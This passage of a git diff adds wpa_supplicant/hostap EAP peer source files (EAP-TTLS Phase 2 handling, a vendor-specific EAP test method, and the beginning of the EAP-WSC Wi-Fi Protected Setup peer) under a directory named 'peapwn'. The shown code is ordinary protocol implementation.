Phase 2 " + "EAP frame (EAP hdr len=%lu, EAP data len in " + "AVP=%lu)", + (unsigned long) len, + (unsigned long) parse->eap_len); + return -1; + } + wpa_printf(MSG_DEBUG, "EAP-TTLS: received Phase 2: code=%d " + "identifier=%d length=%lu", + hdr->code, hdr->identifier, (unsigned long) len); + switch (hdr->code) { + case EAP_CODE_REQUEST: + if (eap_ttls_phase2_request(sm, data, ret, hdr, resp)) { + wpa_printf(MSG_INFO, "EAP-TTLS: Phase2 Request " + "processing failed"); + return -1; + } + break; + default: + wpa_printf(MSG_INFO, "EAP-TTLS: Unexpected code=%d in " + "Phase 2 EAP header", hdr->code); + return -1; + } + + return 0; +} + + +static int eap_ttls_process_phase2_mschapv2(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + struct ttls_parse_avp *parse) +{ +#ifdef EAP_MSCHAPv2 + if (parse->mschapv2_error) { + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAPV2: Received " + "MS-CHAP-Error - failed"); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + /* Reply with empty data to ACK error */ + return 1; + } + + if (parse->mschapv2 == NULL) { +#ifdef EAP_TNC + if (data->phase2_success && parse->eapdata) { + /* + * Allow EAP-TNC to be started after successfully + * completed MSCHAPV2. + */ + return 1; + } +#endif /* EAP_TNC */ + wpa_printf(MSG_WARNING, "EAP-TTLS: no MS-CHAP2-Success AVP " + "received for Phase2 MSCHAPV2"); + return -1; + } + if (parse->mschapv2[0] != data->ident) { + wpa_printf(MSG_WARNING, "EAP-TTLS: Ident mismatch for Phase 2 " + "MSCHAPV2 (received Ident 0x%02x, expected 0x%02x)", + parse->mschapv2[0], data->ident); + return -1; + } + if (!data->auth_response_valid || + mschapv2_verify_auth_response(data->auth_response, + parse->mschapv2 + 1, 42)) { + wpa_printf(MSG_WARNING, "EAP-TTLS: Invalid authenticator " + "response in Phase 2 MSCHAPV2 success request"); + return -1; + } + + wpa_printf(MSG_INFO, "EAP-TTLS: Phase 2 MSCHAPV2 " + "authentication succeeded"); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_UNCOND_SUCC; + data->phase2_success = 1; + + /* + * Reply with empty data; authentication server will reply + * with EAP-Success after this. + */ + return 1; +#else /* EAP_MSCHAPv2 */ + wpa_printf(MSG_ERROR, "EAP-TTLS: MSCHAPv2 not included in the build"); + return -1; +#endif /* EAP_MSCHAPv2 */ +} + + +#ifdef EAP_TNC +static int eap_ttls_process_tnc_start(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + struct ttls_parse_avp *parse, + struct wpabuf **resp) +{ + /* TNC uses inner EAP method after non-EAP TTLS phase 2. */ + if (parse->eapdata == NULL) { + wpa_printf(MSG_INFO, "EAP-TTLS: Phase 2 received " + "unexpected tunneled data (no EAP)"); + return -1; + } + + if (!data->ready_for_tnc) { + wpa_printf(MSG_INFO, "EAP-TTLS: Phase 2 received " + "EAP after non-EAP, but not ready for TNC"); + return -1; + } + + wpa_printf(MSG_DEBUG, "EAP-TTLS: Start TNC after completed " + "non-EAP method"); + data->tnc_started = 1; + + if (eap_ttls_process_phase2_eap(sm, data, ret, parse, resp) < 0) + return -1; + + return 0; +} +#endif /* EAP_TNC */ + + +static int eap_ttls_process_decrypted(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + u8 identifier, + struct ttls_parse_avp *parse, + struct wpabuf *in_decrypted, + struct wpabuf **out_data) +{ + struct wpabuf *resp = NULL; + struct eap_peer_config *config = eap_get_config(sm); + int res; + enum phase2_types phase2_type = data->phase2_type; + +#ifdef EAP_TNC + if (data->tnc_started) + phase2_type = EAP_TTLS_PHASE2_EAP; +#endif /* EAP_TNC */ + + switch (phase2_type) { + case EAP_TTLS_PHASE2_EAP: + if (eap_ttls_process_phase2_eap(sm, data, ret, parse, &resp) < + 0) + return -1; + break; + case EAP_TTLS_PHASE2_MSCHAPV2: + res = eap_ttls_process_phase2_mschapv2(sm, data, ret, parse); +#ifdef EAP_TNC + if (res == 1 && parse->eapdata && data->phase2_success) { + /* + * TNC may be required as the next + * authentication method within the tunnel. + */ + ret->methodState = METHOD_MAY_CONT; + data->ready_for_tnc = 1; + if (eap_ttls_process_tnc_start(sm, data, ret, parse, + &resp) == 0) + break; + } +#endif /* EAP_TNC */ + return res; + case EAP_TTLS_PHASE2_MSCHAP: + case EAP_TTLS_PHASE2_PAP: + case EAP_TTLS_PHASE2_CHAP: +#ifdef EAP_TNC + if (eap_ttls_process_tnc_start(sm, data, ret, parse, &resp) < + 0) + return -1; + break; +#else /* EAP_TNC */ + /* EAP-TTLS/{MSCHAP,PAP,CHAP} should not send any TLS tunneled + * requests to the supplicant */ + wpa_printf(MSG_INFO, "EAP-TTLS: Phase 2 received unexpected " + "tunneled data"); + return -1; +#endif /* EAP_TNC */ + } + + if (resp) { + if (eap_ttls_encrypt_response(sm, data, resp, identifier, + out_data) < 0) + return -1; + } else if (config->pending_req_identity || + config->pending_req_password || + config->pending_req_otp || + config->pending_req_new_password) { + wpabuf_free(data->pending_phase2_req); + data->pending_phase2_req = wpabuf_dup(in_decrypted); + } + + return 0; +} + + +static int eap_ttls_implicit_identity_request(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + u8 identifier, + struct wpabuf **out_data) +{ + int retval = 0; + struct eap_hdr *hdr; + struct wpabuf *resp; + + hdr = (struct eap_hdr *) eap_ttls_fake_identity_request(); + if (hdr == NULL) { + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + return -1; + } + + resp = NULL; + if (eap_ttls_phase2_request(sm, data, ret, hdr, &resp)) { + wpa_printf(MSG_INFO, "EAP-TTLS: Phase2 Request " + "processing failed"); + retval = -1; + } else { + struct eap_peer_config *config = eap_get_config(sm); + if (resp == NULL && + (config->pending_req_identity || + config->pending_req_password || + config->pending_req_otp || + config->pending_req_new_password)) { + /* + * Use empty buffer to force implicit request + * processing when EAP request is re-processed after + * user input. + */ + wpabuf_free(data->pending_phase2_req); + data->pending_phase2_req = wpabuf_alloc(0); + } + + retval = eap_ttls_encrypt_response(sm, data, resp, identifier, + out_data); + } + + os_free(hdr); + + if (retval < 0) { + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + } + + return retval; +} + + +static int eap_ttls_phase2_start(struct eap_sm *sm, struct eap_ttls_data *data, + struct eap_method_ret *ret, u8 identifier, + struct wpabuf **out_data) +{ + data->phase2_start = 0; + + /* + * EAP-TTLS does not use Phase2 on fast re-auth; this must be done only + * if TLS part was indeed resuming a previous session. Most + * Authentication Servers terminate EAP-TTLS before reaching this + * point, but some do not. Make wpa_supplicant stop phase 2 here, if + * needed. + */ + if (data->reauth && + tls_connection_resumed(sm->ssl_ctx, data->ssl.conn)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Session resumption - " + "skip phase 2"); + *out_data = eap_peer_tls_build_ack(identifier, EAP_TYPE_TTLS, + data->ttls_version); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_UNCOND_SUCC; + data->phase2_success = 1; + return 0; + } + + return eap_ttls_implicit_identity_request(sm, data, ret, identifier, + out_data); +} + + +static int eap_ttls_decrypt(struct eap_sm *sm, struct eap_ttls_data *data, + struct eap_method_ret *ret, u8 identifier, + const struct wpabuf *in_data, + struct wpabuf **out_data) +{ + struct wpabuf *in_decrypted = NULL; + int retval = 0; + struct ttls_parse_avp parse; + + os_memset(&parse, 0, sizeof(parse)); + + wpa_printf(MSG_DEBUG, "EAP-TTLS: received %lu bytes encrypted data for" + " Phase 2", + in_data ? (unsigned long) wpabuf_len(in_data) : 0); + + if (data->pending_phase2_req) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Pending Phase 2 request - " + "skip decryption and use old data"); + /* Clear TLS reassembly state. */ + eap_peer_tls_reset_input(&data->ssl); + + in_decrypted = data->pending_phase2_req; + data->pending_phase2_req = NULL; + if (wpabuf_len(in_decrypted) == 0) { + wpabuf_free(in_decrypted); + return eap_ttls_implicit_identity_request( + sm, data, ret, identifier, out_data); + } + goto continue_req; + } + + if ((in_data == NULL || wpabuf_len(in_data) == 0) && + data->phase2_start) { + return eap_ttls_phase2_start(sm, data, ret, identifier, + out_data); + } + + if (in_data == NULL || wpabuf_len(in_data) == 0) { + /* Received TLS ACK - requesting more fragments */ + return eap_peer_tls_encrypt(sm, &data->ssl, EAP_TYPE_TTLS, + data->ttls_version, + identifier, NULL, out_data); + } + + retval = eap_peer_tls_decrypt(sm, &data->ssl, in_data, &in_decrypted); + if (retval) + goto done; + +continue_req: + data->phase2_start = 0; + + if (eap_ttls_parse_avps(in_decrypted, &parse) < 0) { + retval = -1; + goto done; + } + + retval = eap_ttls_process_decrypted(sm, data, ret, identifier, + &parse, in_decrypted, out_data); + +done: + wpabuf_free(in_decrypted); + os_free(parse.eapdata); + + if (retval < 0) { + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + } + + return retval; +} + + +static int eap_ttls_process_handshake(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + u8 identifier, + const u8 *in_data, size_t in_len, + struct wpabuf **out_data) +{ + int res; + + res = eap_peer_tls_process_helper(sm, &data->ssl, EAP_TYPE_TTLS, + data->ttls_version, identifier, + in_data, in_len, out_data); + + if (tls_connection_established(sm->ssl_ctx, data->ssl.conn)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: TLS done, proceed to " + "Phase 2"); + if (data->resuming) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: fast reauth - may " + "skip Phase 2"); + ret->decision = DECISION_COND_SUCC; + ret->methodState = METHOD_MAY_CONT; + } + data->phase2_start = 1; + eap_ttls_v0_derive_key(sm, data); + + if (*out_data == NULL || wpabuf_len(*out_data) == 0) { + if (eap_ttls_decrypt(sm, data, ret, identifier, + NULL, out_data)) { + wpa_printf(MSG_WARNING, "EAP-TTLS: " + "failed to process early " + "start for Phase 2"); + } + res = 0; + } + data->resuming = 0; + } + + if (res == 2) { + struct wpabuf msg; + /* + * Application data included in the handshake message. + */ + wpabuf_free(data->pending_phase2_req); + data->pending_phase2_req = *out_data; + *out_data = NULL; + wpabuf_set(&msg, in_data, in_len); + res = eap_ttls_decrypt(sm, data, ret, identifier, &msg, + out_data); + } + + return res; +} + + +static void eap_ttls_check_auth_status(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret) +{ + if (ret->methodState == METHOD_DONE) { + ret->allowNotifications = FALSE; + if (ret->decision == DECISION_UNCOND_SUCC || + ret->decision == DECISION_COND_SUCC) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Authentication " + "completed successfully"); + data->phase2_success = 1; +#ifdef EAP_TNC + if (!data->ready_for_tnc && !data->tnc_started) { + /* + * TNC may be required as the next + * authentication method within the tunnel. + */ + ret->methodState = METHOD_MAY_CONT; + data->ready_for_tnc = 1; + } +#endif /* EAP_TNC */ + } + } else if (ret->methodState == METHOD_MAY_CONT && + (ret->decision == DECISION_UNCOND_SUCC || + ret->decision == DECISION_COND_SUCC)) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Authentication " + "completed successfully (MAY_CONT)"); + data->phase2_success = 1; + } +} + + +static struct wpabuf * eap_ttls_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + size_t left; + int res; + u8 flags, id; + struct wpabuf *resp; + const u8 *pos; + struct eap_ttls_data *data = priv; + + pos = eap_peer_tls_process_init(sm, &data->ssl, EAP_TYPE_TTLS, ret, + reqData, &left, &flags); + if (pos == NULL) + return NULL; + id = eap_get_id(reqData); + + if (flags & EAP_TLS_FLAGS_START) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Start (server ver=%d, own " + "ver=%d)", flags & EAP_TLS_VERSION_MASK, + data->ttls_version); + + /* RFC 5281, Ch. 9.2: + * "This packet MAY contain additional information in the form + * of AVPs, which may provide useful hints to the client" + * For now, ignore any potential extra data. + */ + left = 0; + } + + resp = NULL; + if (tls_connection_established(sm->ssl_ctx, data->ssl.conn) && + !data->resuming) { + struct wpabuf msg; + wpabuf_set(&msg, pos, left); + res = eap_ttls_decrypt(sm, data, ret, id, &msg, &resp); + } else { + res = eap_ttls_process_handshake(sm, data, ret, id, + pos, left, &resp); + } + + eap_ttls_check_auth_status(sm, data, ret); + + /* FIX: what about res == -1? Could just move all error processing into + * the other functions and get rid of this res==1 case here. */ + if (res == 1) { + wpabuf_free(resp); + return eap_peer_tls_build_ack(id, EAP_TYPE_TTLS, + data->ttls_version); + } + return resp; +} + + +static Boolean eap_ttls_has_reauth_data(struct eap_sm *sm, void *priv) +{ + struct eap_ttls_data *data = priv; + return tls_connection_established(sm->ssl_ctx, data->ssl.conn) && + data->phase2_success; +} + + +static void eap_ttls_deinit_for_reauth(struct eap_sm *sm, void *priv) +{ + struct eap_ttls_data *data = priv; + wpabuf_free(data->pending_phase2_req); + data->pending_phase2_req = NULL; +#ifdef EAP_TNC + data->ready_for_tnc = 0; + data->tnc_started = 0; +#endif /* EAP_TNC */ +} + + +static void * eap_ttls_init_for_reauth(struct eap_sm *sm, void *priv) +{ + struct eap_ttls_data *data = priv; + os_free(data->key_data); + data->key_data = NULL; + os_free(data->session_id); + data->session_id = NULL; + if (eap_peer_tls_reauth_init(sm, &data->ssl)) { + os_free(data); + return NULL; + } + if (data->phase2_priv && data->phase2_method && + data->phase2_method->init_for_reauth) + data->phase2_method->init_for_reauth(sm, data->phase2_priv); + data->phase2_start = 0; + data->phase2_success = 0; + data->resuming = 1; + data->reauth = 1; + return priv; +} + + +static int eap_ttls_get_status(struct eap_sm *sm, void *priv, char *buf, + size_t buflen, int verbose) +{ + struct eap_ttls_data *data = priv; + int len, ret; + + len = eap_peer_tls_status(sm, &data->ssl, buf, buflen, verbose); + ret = os_snprintf(buf + len, buflen - len, + "EAP-TTLSv%d Phase2 method=", + data->ttls_version); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + switch (data->phase2_type) { + case EAP_TTLS_PHASE2_EAP: + ret = os_snprintf(buf + len, buflen - len, "EAP-%s\n", + data->phase2_method ? + data->phase2_method->name : "?"); + break; + case EAP_TTLS_PHASE2_MSCHAPV2: + ret = os_snprintf(buf + len, buflen - len, "MSCHAPV2\n"); + break; + case EAP_TTLS_PHASE2_MSCHAP: + ret = os_snprintf(buf + len, buflen - len, "MSCHAP\n"); + break; + case EAP_TTLS_PHASE2_PAP: + ret = os_snprintf(buf + len, buflen - len, "PAP\n"); + break; + case EAP_TTLS_PHASE2_CHAP: + ret = os_snprintf(buf + len, buflen - len, "CHAP\n"); + break; + default: + ret = 0; + break; + } + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + return len; +} + + +static Boolean eap_ttls_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_ttls_data *data = priv; + return data->key_data != NULL && data->phase2_success; +} + + +static u8 * eap_ttls_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_ttls_data *data = priv; + u8 *key; + + if (data->key_data == NULL || !data->phase2_success) + return NULL; + + key = os_malloc(EAP_TLS_KEY_LEN); + if (key == NULL) + return NULL; + + *len = EAP_TLS_KEY_LEN; + os_memcpy(key, data->key_data, EAP_TLS_KEY_LEN); + + return key; +} + + +static u8 * eap_ttls_get_session_id(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_ttls_data *data = priv; + u8 *id; + + if (data->session_id == NULL || !data->phase2_success) + return NULL; + + id = os_malloc(data->id_len); + if (id == NULL) + return NULL; + + *len = data->id_len; + os_memcpy(id, data->session_id, data->id_len); + + return id; +} + + +int eap_peer_ttls_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_TTLS, "TTLS"); + if (eap == NULL) + return -1; + + eap->init = eap_ttls_init; + eap->deinit = eap_ttls_deinit; + eap->process = eap_ttls_process; + eap->isKeyAvailable = eap_ttls_isKeyAvailable; + eap->getKey = eap_ttls_getKey; + eap->getSessionId = eap_ttls_get_session_id; + eap->get_status = eap_ttls_get_status; + eap->has_reauth_data = eap_ttls_has_reauth_data; + eap->deinit_for_reauth = eap_ttls_deinit_for_reauth; + eap->init_for_reauth = eap_ttls_init_for_reauth; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_vendor_test.c b/peapwn/mods/hostap/src/eap_peer/eap_vendor_test.c new file mode 100644 index 000000000..040d1e7f9 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_vendor_test.c @@ -0,0 +1,189 @@ +/* + * EAP peer method: Test method for vendor specific (expanded) EAP type + * Copyright (c) 2005-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file implements a vendor specific test method using EAP expanded types. + * This is only for test use and must not be used for authentication since no + * security is provided. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" +#ifdef TEST_PENDING_REQUEST +#include "eloop.h" +#endif /* TEST_PENDING_REQUEST */ + + +#define EAP_VENDOR_ID EAP_VENDOR_HOSTAP +#define EAP_VENDOR_TYPE 0xfcfbfaf9 + + +/* #define TEST_PENDING_REQUEST */ + +struct eap_vendor_test_data { + enum { INIT, CONFIRM, SUCCESS } state; + int first_try; +}; + + +static void * eap_vendor_test_init(struct eap_sm *sm) +{ + struct eap_vendor_test_data *data; + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = INIT; + data->first_try = 1; + return data; +} + + +static void eap_vendor_test_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_vendor_test_data *data = priv; + os_free(data); +} + + +#ifdef TEST_PENDING_REQUEST +static void eap_vendor_ready(void *eloop_ctx, void *timeout_ctx) +{ + struct eap_sm *sm = eloop_ctx; + wpa_printf(MSG_DEBUG, "EAP-VENDOR-TEST: Ready to re-process pending " + "request"); + eap_notify_pending(sm); +} +#endif /* TEST_PENDING_REQUEST */ + + +static struct wpabuf * eap_vendor_test_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_vendor_test_data *data = priv; + struct wpabuf *resp; + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_ID, EAP_VENDOR_TYPE, reqData, &len); + if (pos == NULL || len < 1) { + ret->ignore = TRUE; + return NULL; + } + + if (data->state == INIT && *pos != 1) { + wpa_printf(MSG_DEBUG, "EAP-VENDOR-TEST: Unexpected message " + "%d in INIT state", *pos); + ret->ignore = TRUE; + return NULL; + } + + if (data->state == CONFIRM && *pos != 3) { + wpa_printf(MSG_DEBUG, "EAP-VENDOR-TEST: Unexpected message " + "%d in CONFIRM state", *pos); + ret->ignore = TRUE; + return NULL; + } + + if (data->state == SUCCESS) { + wpa_printf(MSG_DEBUG, "EAP-VENDOR-TEST: Unexpected message " + "in SUCCESS state"); + ret->ignore = TRUE; + return NULL; + } + + if (data->state == CONFIRM) { +#ifdef TEST_PENDING_REQUEST + if (data->first_try) { + data->first_try = 0; + wpa_printf(MSG_DEBUG, "EAP-VENDOR-TEST: Testing " + "pending request"); + ret->ignore = TRUE; + eloop_register_timeout(1, 0, eap_vendor_ready, sm, + NULL); + return NULL; + } +#endif /* TEST_PENDING_REQUEST */ + } + + ret->ignore = FALSE; + + wpa_printf(MSG_DEBUG, "EAP-VENDOR-TEST: Generating Response"); + ret->allowNotifications = TRUE; + + resp = eap_msg_alloc(EAP_VENDOR_ID, EAP_VENDOR_TYPE, 1, + EAP_CODE_RESPONSE, eap_get_id(reqData)); + if (resp == NULL) + return NULL; + + if (data->state == INIT) { + wpabuf_put_u8(resp, 2); + data->state = CONFIRM; + ret->methodState = METHOD_CONT; + ret->decision = DECISION_FAIL; + } else { + wpabuf_put_u8(resp, 4); + data->state = SUCCESS; + ret->methodState = METHOD_DONE; + ret->decision = DECISION_UNCOND_SUCC; + } + + return resp; +} + + +static Boolean eap_vendor_test_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_vendor_test_data *data = priv; + return data->state == SUCCESS; +} + + +static u8 * eap_vendor_test_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_vendor_test_data *data = priv; + u8 *key; + const int key_len = 64; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(key_len); + if (key == NULL) + return NULL; + + os_memset(key, 0x11, key_len / 2); + os_memset(key + key_len / 2, 0x22, key_len / 2); + *len = key_len; + + return key; +} + + +int eap_peer_vendor_test_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_ID, EAP_VENDOR_TYPE, + "VENDOR-TEST"); + if (eap == NULL) + return -1; + + eap->init = eap_vendor_test_init; + eap->deinit = eap_vendor_test_deinit; + eap->process = eap_vendor_test_process; + eap->isKeyAvailable = eap_vendor_test_isKeyAvailable; + eap->getKey = eap_vendor_test_getKey; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_wsc.c b/peapwn/mods/hostap/src/eap_peer/eap_wsc.c new file mode 100644 index 000000000..8edb1cad5 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_wsc.c @@ -0,0 +1,569 @@ +/* + * EAP-WSC peer for Wi-Fi Protected Setup + * Copyright (c) 2007-2009, 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "uuid.h" +#include "eap_i.h" +#include "eap_common/eap_wsc_common.h" +#include "wps/wps.h" +#include "wps/wps_defs.h" + + +struct eap_wsc_data { + enum { WAIT_START, MESG, FRAG_ACK, WAIT_FRAG_ACK, DONE, FAIL } state; + int registrar; + struct wpabuf *in_buf; + struct wpabuf *out_buf; + enum wsc_op_code in_op_code, out_op_code; + size_t out_used; + size_t fragment_size; + struct wps_data *wps; + struct wps_context *wps_ctx; +}; + + +static const char * eap_wsc_state_txt(int state) +{ + switch (state) { + case WAIT_START: + return "WAIT_START"; + case MESG: + return "MESG"; + case FRAG_ACK: + return "FRAG_ACK"; + case WAIT_FRAG_ACK: + return "WAIT_FRAG_ACK"; + case DONE: + return "DONE"; + case FAIL: + return "FAIL"; + default: + return "?"; + } +} + + +static void eap_wsc_state(struct eap_wsc_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-WSC: %s -> %s", + eap_wsc_state_txt(data->state), + eap_wsc_state_txt(state)); + data->state = state; +} + + +static int eap_wsc_new_ap_settings(struct wps_credential *cred, + const char *params) +{ + const char *pos, *end; + size_t len; + + os_memset(cred, 0, sizeof(*cred)); + + pos = os_strstr(params, "new_ssid="); + if (pos == NULL) + return 0; + pos += 9; + end = os_strchr(pos, ' '); + if (end == NULL) + len = os_strlen(pos); + else + len = end - pos; + if ((len & 1) || len > 2 * sizeof(cred->ssid) || + hexstr2bin(pos, cred->ssid, len / 2)) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Invalid new_ssid"); + return -1; + } + cred->ssid_len = len / 2; + + pos = os_strstr(params, "new_auth="); + if (pos == NULL) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Missing new_auth"); + return -1; + } + if (os_strncmp(pos + 9, "OPEN", 4) == 0) + cred->auth_type = WPS_AUTH_OPEN; + else if (os_strncmp(pos + 9, "WPAPSK", 6) == 0) + cred->auth_type = WPS_AUTH_WPAPSK; + else if (os_strncmp(pos + 9, "WPA2PSK", 7) == 0) + cred->auth_type = WPS_AUTH_WPA2PSK; + else { + wpa_printf(MSG_DEBUG, "EAP-WSC: Unknown new_auth"); + return -1; + } + + pos = os_strstr(params, "new_encr="); + if (pos == NULL) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Missing new_encr"); + return -1; + } + if (os_strncmp(pos + 9, "NONE", 4) == 0) + cred->encr_type = WPS_ENCR_NONE; + else if (os_strncmp(pos + 9, "WEP", 3) == 0) + cred->encr_type = WPS_ENCR_WEP; + else if (os_strncmp(pos + 9, "TKIP", 4) == 0) + cred->encr_type = WPS_ENCR_TKIP; + else if (os_strncmp(pos + 9, "CCMP", 4) == 0) + cred->encr_type = WPS_ENCR_AES; + else { + wpa_printf(MSG_DEBUG, "EAP-WSC: Unknown new_encr"); + return -1; + } + + pos = os_strstr(params, "new_key="); + if (pos == NULL) + return 0; + pos += 8; + end = os_strchr(pos, ' '); + if (end == NULL) + len = os_strlen(pos); + else + len = end - pos; + if ((len & 1) || len > 2 * sizeof(cred->key) || + hexstr2bin(pos, cred->key, len / 2)) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Invalid new_key"); + return -1; + } + cred->key_len = len / 2; + + return 1; +} + + +static void * eap_wsc_init(struct eap_sm *sm) +{ + struct eap_wsc_data *data; + const u8 *identity; + size_t identity_len; + int registrar; + struct wps_config cfg; + const char *pos; + const char *phase1; + struct wps_context *wps; + struct wps_credential new_ap_settings; + int res; + int nfc = 0; + + wps = sm->wps; + if (wps == NULL) { + wpa_printf(MSG_ERROR, "EAP-WSC: WPS context not available"); + return NULL; + } + + identity = eap_get_config_identity(sm, &identity_len); + + if (identity && identity_len == WSC_ID_REGISTRAR_LEN && + os_memcmp(identity, WSC_ID_REGISTRAR, WSC_ID_REGISTRAR_LEN) == 0) + registrar = 1; /* Supplicant is Registrar */ + else if (identity && identity_len == WSC_ID_ENROLLEE_LEN && + os_memcmp(identity, WSC_ID_ENROLLEE, WSC_ID_ENROLLEE_LEN) == 0) + registrar = 0; /* Supplicant is Enrollee */ + else { + wpa_hexdump_ascii(MSG_INFO, "EAP-WSC: Unexpected identity", + identity, identity_len); + return NULL; + } + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = registrar ? MESG : WAIT_START; + data->registrar = registrar; + data->wps_ctx = wps; + + os_memset(&cfg, 0, sizeof(cfg)); + cfg.wps = wps; + cfg.registrar = registrar; + + phase1 = eap_get_config_phase1(sm); + if (phase1 == NULL) { + wpa_printf(MSG_INFO, "EAP-WSC: phase1 configuration data not " + "set"); + os_free(data); + return NULL; + } + + pos = os_strstr(phase1, "pin="); + if (pos) { + pos += 4; + cfg.pin = (const u8 *) pos; + while (*pos != '\0' && *pos != ' ') + pos++; + cfg.pin_len = pos - (const char *) cfg.pin; + if (cfg.pin_len == 6 && + os_strncmp((const char *) cfg.pin, "nfc-pw", 6) == 0) { + cfg.pin = NULL; + cfg.pin_len = 0; + nfc = 1; + } + } else { + pos = os_strstr(phase1, "pbc=1"); + if (pos) + cfg.pbc = 1; + } + + if (cfg.pin == NULL && !cfg.pbc && !nfc) { + wpa_printf(MSG_INFO, "EAP-WSC: PIN or PBC not set in phase1 " + "configuration data"); + os_free(data); + return NULL; + } + + pos = os_strstr(phase1, "dev_pw_id="); + if (pos && cfg.pin) + cfg.dev_pw_id = atoi(pos + 10); + + res = eap_wsc_new_ap_settings(&new_ap_settings, phase1); + if (res < 0) { + os_free(data); + wpa_printf(MSG_DEBUG, "EAP-WSC: Failed to parse new AP " + "settings"); + return NULL; + } + if (res == 1) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Provide new AP settings for " + "WPS"); + cfg.new_ap_settings = &new_ap_settings; + } + + data->wps = wps_init(&cfg); + if (data->wps == NULL) { + os_free(data); + wpa_printf(MSG_DEBUG, "EAP-WSC: wps_init failed"); + return NULL; + } + res = eap_get_config_fragment_size(sm); + if (res > 0) + data->fragment_size = res; + else + data->fragment_size = WSC_FRAGMENT_SIZE; + wpa_printf(MSG_DEBUG, "EAP-WSC: Fragment size limit %u", + (unsigned int) data->fragment_size); + + if (registrar && cfg.pin) { + wps_registrar_add_pin(data->wps_ctx->registrar, NULL, NULL, + cfg.pin, cfg.pin_len, 0); + } + + /* Use reduced client timeout for WPS to avoid long wait */ + if (sm->ClientTimeout > 30) + sm->ClientTimeout = 30; + + return data; +} + + +static void eap_wsc_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_wsc_data *data = priv; + wpabuf_free(data->in_buf); + wpabuf_free(data->out_buf); + wps_deinit(data->wps); + os_free(data->wps_ctx->network_key); + data->wps_ctx->network_key = NULL; + os_free(data); +} + + +static struct wpabuf * eap_wsc_build_msg(struct eap_wsc_data *data, + struct eap_method_ret *ret, u8 id) +{ + struct wpabuf *resp; + u8 flags; + size_t send_len, plen; + + ret->ignore = FALSE; + wpa_printf(MSG_DEBUG, "EAP-WSC: Generating Response"); + ret->allowNotifications = TRUE; + + flags = 0; + send_len = wpabuf_len(data->out_buf) - data->out_used; + if (2 + send_len > data->fragment_size) { + send_len = data->fragment_size - 2; + flags |= WSC_FLAGS_MF; + if (data->out_used == 0) { + flags |= WSC_FLAGS_LF; + send_len -= 2; + } + } + plen = 2 + send_len; + if (flags & WSC_FLAGS_LF) + plen += 2; + resp = eap_msg_alloc(EAP_VENDOR_WFA, EAP_VENDOR_TYPE_WSC, plen, + EAP_CODE_RESPONSE, id); + if (resp == NULL) + return NULL; + + wpabuf_put_u8(resp, data->out_op_code); /* Op-Code */ + wpabuf_put_u8(resp, flags); /* Flags */ + if (flags & WSC_FLAGS_LF) + wpabuf_put_be16(resp, wpabuf_len(data->out_buf)); + + wpabuf_put_data(resp, wpabuf_head_u8(data->out_buf) + data->out_used, + send_len); + data->out_used += send_len; + + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + + if (data->out_used == wpabuf_len(data->out_buf)) { + wpa_printf(MSG_DEBUG, "EAP-WSC: Sending out %lu bytes " + "(message sent completely)", + (unsigned 